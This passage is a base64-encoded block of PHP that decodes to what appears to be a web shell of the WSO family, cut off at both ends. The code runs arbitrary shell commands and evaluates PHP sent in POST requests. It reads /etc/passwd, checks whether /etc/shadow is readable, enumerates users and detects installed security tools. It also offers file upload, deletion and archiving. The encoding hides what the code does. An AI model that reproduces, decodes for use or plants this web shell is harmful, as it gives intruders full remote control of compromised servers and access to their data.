xlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgeyBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0gZnVuY3Rpb24gd3NvRXgoJGluKSB7ICRvdXQgPSAnJzsgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IEBleGVjKCRpbiwkb3V0KTsgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgb2Jfc3RhcnQoKTsgQHBhc3N0aHJ1KCRpbik7ICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgb2Jfc3RhcnQoKTsgQHN5c3RlbSgkaW4pOyAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOyB9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7ICRvdXQgPSAiIjsgd2hpbGUoIUBmZW9mKCRmKSkgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsgcGNsb3NlKCRmKTsgfSByZXR1cm4gJG91dDsgfSBmdW5jdGlvbiB3c29WaWV3U2l6ZSgkcykgeyBpZiAoaXNfaW50KCRzKSkgJHMgPSBzcHJpbnRmKCIldSIsICRzKTsgaWYoJHMgPj0gMTA3Mzc0MTgyNCkgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOyBlbHNlaWYoJHMgPj0gMTA0ODU3NikgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsgZWxzZWlmKCRzID49IDEwMjQpIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7IGVsc2UgcmV0dXJuICRzIC4gJyBCJzsgfSBmdW5jdGlvbiB3c29QZXJtcygkcCkgeyBpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7IGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7IGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7IGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7IGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7IGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7IGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7IGVsc2UgJGkgPSAndSc7ICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsgJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOyAkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7ICRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsgJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7ICRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7IHJldHVybiAkaTsgfSBmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7IGlmICghQGlzX3JlYWRhYmxlKCRmKSkgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7IGVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgZWxzZSByZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgfSBmdW5jdGlvbiB3c29TY2FuZGlyKCRkaXIpIHsgaWYoZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsgcmV0dXJuIHNjYW5kaXIoJGRpcik7IH0gZWxzZSB7ICRkaCA9IG9wZW5kaXIoJGRpcik7IHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpICRmaWxlc1tdID0gJGZpbGVuYW1lOyByZXR1cm4gJGZpbGVzOyB9IH0gZnVuY3Rpb24gd3NvV2hpY2goJHApIHsgJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsgaWYoIWVtcHR5KCRwYXRoKSkgcmV0dXJuICRwYXRoOyByZXR1cm4gZmFsc2U7IH0gZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsgd3NvSGVhZGVyKCk7IGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyBmdW5jdGlvbiB3c29TZWNQYXJhbSgkbiwgJHYpIHsgJHYgPSB0cmltKCR2KTsgaWYoJHYpIHsgZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7IGlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKSBlY2hvICR2IC4gJzxicj4nOyBlbHNlIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOyB9IH0gd3NvU2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsgaWYoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSkgd3NvU2VjUGFyYW0oJ0xvYWRlZCBBcGFjaGUgbW9kdWxlcycsIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpKTsgd3NvU2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOyB3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7IHdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOyB3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsgd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOyAkdGVtcD1hcnJheSgpOyBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKSAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpICR0ZW1wW10gPSAiTVNTUUwiOyBpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsgaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKSAkdGVtcFtdID0gIk9yYWNsZSI7IHdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOyBlY2hvICc8YnI+JzsgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7IHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOyB3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsgd3NvU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOyBpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7ICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOyAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7IGVjaG8gJzxicj4nOyAkdGVtcD1hcnJheSgpOyBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkgaWYod3NvV2hpY2goJGl0ZW0pKSAkdGVtcFtdID0gJGl0ZW07IHdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7ICR0ZW1wPWFycmF5KCk7IGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pIGlmKHdzb1doaWNoKCRpdGVtKSkgJHRlbXBbXSA9ICRpdGVtOyB3c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7ICR0ZW1wPWFycmF5KCk7IGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgaWYod3NvV2hpY2goJGl0ZW0pKSAkdGVtcFtdID0gJGl0ZW07IHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOyBlY2hvICc8YnIvPic7IHdzb1NlY1BhcmFtKCdIREQgc3BhY2UnLCB3c29FeCgnZGYgLWgnKSk7IHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsgZWNobyAnPGJyLz48c3Bhbj5wb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IGlmIChpc3NldCAoJF9QT1NUWydwMiddLCAkX1BPU1RbJ3AzJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMiddKSAmJiBpc19udW1lcmljKCRfUE9TVFsncDMnXSkpIHsgJHRlbXAgPSAiIjsgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7ICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsgaWYgKCR1aWQpICR0ZW1wIC49IGpvaW4oJzonLCR1aWQpLiJcbiI7IH0gZWNobyAnPGJyLz4nOyB3c29TZWNQYXJhbSgnVXNlcnMnLCAkdGVtcCk7IH0gfSB9IGVsc2UgeyB3c29TZWNQYXJhbSgnT1MgVmVyc2lvbicsd3NvRXgoJ3ZlcicpKTsgd3NvU2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLHdzb0V4KCduZXQgYWNjb3VudHMnKSk7IHdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7IH0gZWNobyAnPC9kaXY+Jzsgd3NvRm9vdGVyKCk7IH0gZnVuY3Rpb24gYWN0aW9uUGhwKCkgeyBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsgb2Jfc3RhcnQoKTsgZXZhbCgkX1BPU1RbJ3AxJ10pOyAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOyBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOyBleGl0OyB9IGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsgd3NvSGVhZGVyKCk7IGlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7IGVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOyBvYl9zdGFydCgpOyBwaHBpbmZvKCk7ICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsgJHRtcCA9IHByZWdfcmVwbGFjZShhcnJheSAoICchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsICchdGQsIHRoIHsoLiopfSFtc2lVJywgJyE8aW1nW14+XSs+IW1zaVUnLCApLCBhcnJheSAoICcnLCAnLmUsIC52LCAuaCwgLmggdGggeyQxfScsICcnICksICR0bXApOyBlY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOyB9IGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOyBlY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOyBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyBvYl9zdGFydCgpOyBldmFsKCRfUE9TVFsncDEnXSk7IGVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7IH0gZWNobyAnPC9wcmU+PC9kaXY+Jzsgd3NvRm9vdGVyKCk7IH0gZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7IGlmICghZW1wdHkgKCRfQ09PS0lFWydmJ10pKSAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOyBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyBzd2l0Y2goJF9QT1NUWydwMSddKSB7IGNhc2UgJ3VwbG9hZEZpbGUnOiBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsgYnJlYWs7IGNhc2UgJ21rZGlyJzogaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKSBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7IGJyZWFrOyBjYXNlICdkZWxldGUnOiBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsgJGRoID0gb3BlbmRpcigkcGF0aCk7IHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7ICRpdGVtID0gJHBhdGguJGl0ZW07IGlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKSBjb250aW51ZTsgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7IGlmICgkdHlwZSA9PSAiZGlyIikgZGVsZXRlRGlyKCRpdGVtKTsgZWxzZSBAdW5saW5rKCRpdGVtKTsgfSBjbG9zZWRpcigkZGgpOyBAcm1kaXIoJHBhdGgpOyB9IGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsgaWYoJGYgPT0gJy4uJykgY29udGludWU7ICRmID0gdXJsZGVjb2RlKCRmKTsgaWYoaXNfZGlyKCRmKSkgZGVsZXRlRGlyKCRmKTsgZWxzZSBAdW5saW5rKCRmKTsgfSBicmVhazsgY2FzZSAncGFzdGUnOiBpZigkX0NPT0tJRVsnYWN0J10gPT0gJ2NvcHknKSB7IGZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpeyBpZihpc19kaXIoJGMuJHMpKXsgbWtkaXIoJGQuJHMpOyAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSBAY29weSgkYy4kcywgJGQuJHMpOyB9IGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyB9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7IGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpeyBpZihpc19kaXIoJGMuJHMpKXsgbWtkaXIoJGQuJHMpOyAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IH0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkgQGNvcHkoJGMuJHMsICRkLiRzKTsgfSBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIEByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsgfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB7IGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7IGNoZGlyKCRfQ09PS0lFWydjJ10pOyBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsgaWYoJGYgPT0gJy4uJykgY29udGludWU7IGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKSAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsgZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2MnXS4kZikpIHsgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJywgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpKTsgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgeyAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsgfSB9IH0gY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsgJHppcC0+Y2xvc2UoKTsgfSB9IH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndW56aXAnKSB7IGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsgaWYoJHppcC0+b3BlbigkX0NPT0tJRVsnYyddLiRmKSkgeyAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsgJHppcC0+Y2xvc2UoKTsgfSB9IH0gfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSB7IGNoZGlyKCRfQ09PS0lFWydjJ10pOyAkX0NPT0tJRVsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfQ09PS0lFWydmJ10pOyB3c29FeCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOyBjaGRpcigkR0xPQkFMU1snY3dkJ10pOyB9IHVuc2V0KCRfQ09PS0lFWydmJ10pOyBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7IGJyZWFrOyBkZWZhdWx0OiBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyBXU09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7IFdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsgV1NPc2V0Y29va2llKCdjJywgQCRfUE9TVFsnYyddKTsgfSBicmVhazsgfSB9IHdzb0hlYWRlcigpOyBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOyAkZGlyQ29udGVudCA9IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7IGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO3dzb0Zvb3RlcigpOyByZXR1cm47IH0gZ2xvYmFsICRzb3J0OyAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7IGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKSAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOyB9IGVjaG8gIjxzY3JpcHQ+CglmdW5jdGlvbiBzYSgpIHsKCQlmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykKCQkJCWQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKCX0KPC9zY3JpcHQ+Cjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+Cjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7ICRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7IGZvcigkaT0wOyRpPCRuOyRpKyspIHsgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7ICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOyAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sICdtb2RpZnknID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFsk